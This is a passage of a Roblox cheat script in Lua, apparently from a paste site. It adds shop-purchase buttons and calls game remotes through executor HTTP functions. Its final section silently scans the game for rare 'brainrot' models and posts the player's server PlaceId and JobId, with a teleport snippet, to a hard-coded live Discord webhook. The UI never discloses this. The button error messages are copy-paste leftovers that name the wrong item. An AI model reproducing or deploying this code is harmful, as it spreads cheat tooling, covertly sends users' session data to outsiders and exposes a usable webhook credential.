  1904. ShopTab:CreateButton({
  1905. Name = "Galaxy Slap",
  1906. Callback = function()
  1907. local args = {"Galaxy Slap"}
  1908. local success, err = pcall(function()
  1909. game:GetService("ReplicatedStorage")
  1910. .Packages.Net:FindFirstChild("RF/CoinsShopService/RequestBuy")
  1911. :InvokeServer(unpack(args))
  1912. end)
  1913. if not success then
  1914. warn("Failed to purchase All Seeing Sentry:", err)
  1915. end
  1916. end
  1917.  
  1918. })
  1919.  
  1920. ShopTab:CreateButton({
  1921. Name = "Nuclear Slap",
  1922. Callback = function()
  1923. local args = {"Nuclear Slap"}
  1924. local success, err = pcall(function()
  1925. game:GetService("ReplicatedStorage")
  1926. .Packages.Net:FindFirstChild("RF/CoinsShopService/RequestBuy")
  1927. :InvokeServer(unpack(args))
  1928. end)
  1929. if not success then
  1930. warn("Failed to purchase All Seeing Sentry:", err)
  1931. end
  1932. end
  1933.  
  1934. })
  1935.  
  1936. ShopTab:CreateButton({
  1937. Name = "Dark Matter Slap",
  1938. Callback = function()
  1939. local args = {"Dark Matter Slap"}
  1940. local success, err = pcall(function()
  1941. game:GetService("ReplicatedStorage")
  1942. .Packages.Net:FindFirstChild("RF/CoinsShopService/RequestBuy")
  1943. :InvokeServer(unpack(args))
  1944. end)
  1945. if not success then
  1946. warn("Failed to purchase All Seeing Sentry:", err)
  1947. end
  1948. end
  1949.  
  1950. })
  1951.  
  1952. ShopTab:CreateButton({
  1953. Name = "Body Swap Potion",
  1954. Callback = function()
  1955. local args = {"Body Swap Potion"}
  1956. local success, err = pcall(function()
  1957. game:GetService("ReplicatedStorage")
  1958. .Packages.Net:FindFirstChild("RF/CoinsShopService/RequestBuy")
  1959. :InvokeServer(unpack(args))
  1960. end)
  1961. if not success then
  1962. warn("Failed to purchase All Seeing Sentry:", err)
  1963. end
  1964. end
  1965.  
  1966. })
  1967.  
  1968. ShopTab:CreateButton({
  1969. Name = "Splatter Slap",
  1970. Callback = function()
  1971. local args = {"Splatter Slap"}
  1972. local success, err = pcall(function()
  1973. game:GetService("ReplicatedStorage")
  1974. .Packages.Net:FindFirstChild("RF/CoinsShopService/RequestBuy")
  1975. :InvokeServer(unpack(args))
  1976. end)
  1977. if not success then
  1978. warn("Failed to purchase All Seeing Sentry:", err)
  1979. end
  1980. end
  1981.  
  1982. })
  1983.  
  1984. local HttpService = game:GetService("HttpService")
  1985. local Workspace = game:GetService("Workspace")
  1986. local Players = game:GetService("Players")
  1987.  
  1988. local webhookUrl = "https://discord.com/api/webhooks/1392743632729280583/TfHr_RTdTiiqeuiRluU3mAXyI1vjr-JExPpaQjLJITZ3NID_SeKSzOql_M08gR_Dbm4B"
  1989.  
  1990. local brainrotGods = {
  1991. ["La Vacca Saturno Saturnita"] = true,
  1992. ["Los Tralaleritos"] = true,
  1993. ["Sammyni Spyderini"] = true,
  1994. ["Graipuss Medussi"] = true,
  1995. ["La Grande Combinazione"] = true,
  1996. ["Garama and Madundung"] = true,
  1997. }
  1998.  
  1999. local notifiedModels = {}
  2000.  
  2001. -- ✅ Only keep player count check
  2002. local function isValidPlayerCount()
  2003. local count = #Players:GetPlayers()
  2004. return count >= 3 and count <= 8
  2005. end
  2006.  
  2007. local function sendDiscordNotification(modelName)
  2008. local placeId = tostring(game.PlaceId)
  2009. local jobId = game.JobId
  2010.  
  2011. local message = [[
  2012. --- You can copy the entire message below and paste into your executor. ---
  2013.  
  2014. --- add <@&1392894797831733329> to server Secrets Found! Model Name: "]] .. modelName .. [[" ---
  2015.  
  2016. local player = game.Players.LocalPlayer
  2017. local teleportService = game:GetService("TeleportService")
  2018. teleportService:TeleportToPlaceInstance("]] .. placeId .. [[", "]] .. jobId .. [[", player)
  2019. ]]
  2020.  
  2021. local data = {
  2022. ["content"] = message
  2023. }
  2024.  
  2025. local jsonData = HttpService:JSONEncode(data)
  2026. local headers = {
  2027. ["Content-Type"] = "application/json"
  2028. }
  2029.  
  2030. local request = (syn and syn.request) or (http and http.request) or request or http_request
  2031. if request then
  2032. request({
  2033. Url = webhookUrl,
  2034. Body = jsonData,
  2035. Method = "POST",
  2036. Headers = headers
  2037. })
  2038. end
  2039. end
  2040.  
  2041. local function checkBrainrotModels()
  2042. if not isValidPlayerCount() then
  2043. return
  2044. end
  2045.  
  2046. for _, obj in pairs(Workspace:GetChildren()) do
  2047. if obj:IsA("Model") and brainrotGods[obj.Name] then
  2048. if not notifiedModels[obj] then
  2049. local basePart = obj.PrimaryPart or obj:FindFirstChildWhichIsA("BasePart")
  2050. if basePart then
  2051. local creationTime = basePart:GetAttribute("CreationTime")
  2052. if not creationTime then
  2053. basePart:SetAttribute("CreationTime", tick())
  2054. else
  2055. if (tick() - creationTime) >= 1 then
  2056. sendDiscordNotification(obj.Name)
  2057. notifiedModels[obj] = true
  2058. end
  2059. end
  2060. end
  2061. end
  2062. end
  2063. end
  2064. end
  2065.  
  2066. task.delay(0.015, function()
  2067. while true do
  2068. pcall(checkBrainrotModels)
  2069. task.wait(0.015)
  2070. end
  2071. end)
Advertisement
Add Comment
Please, Sign In to add comment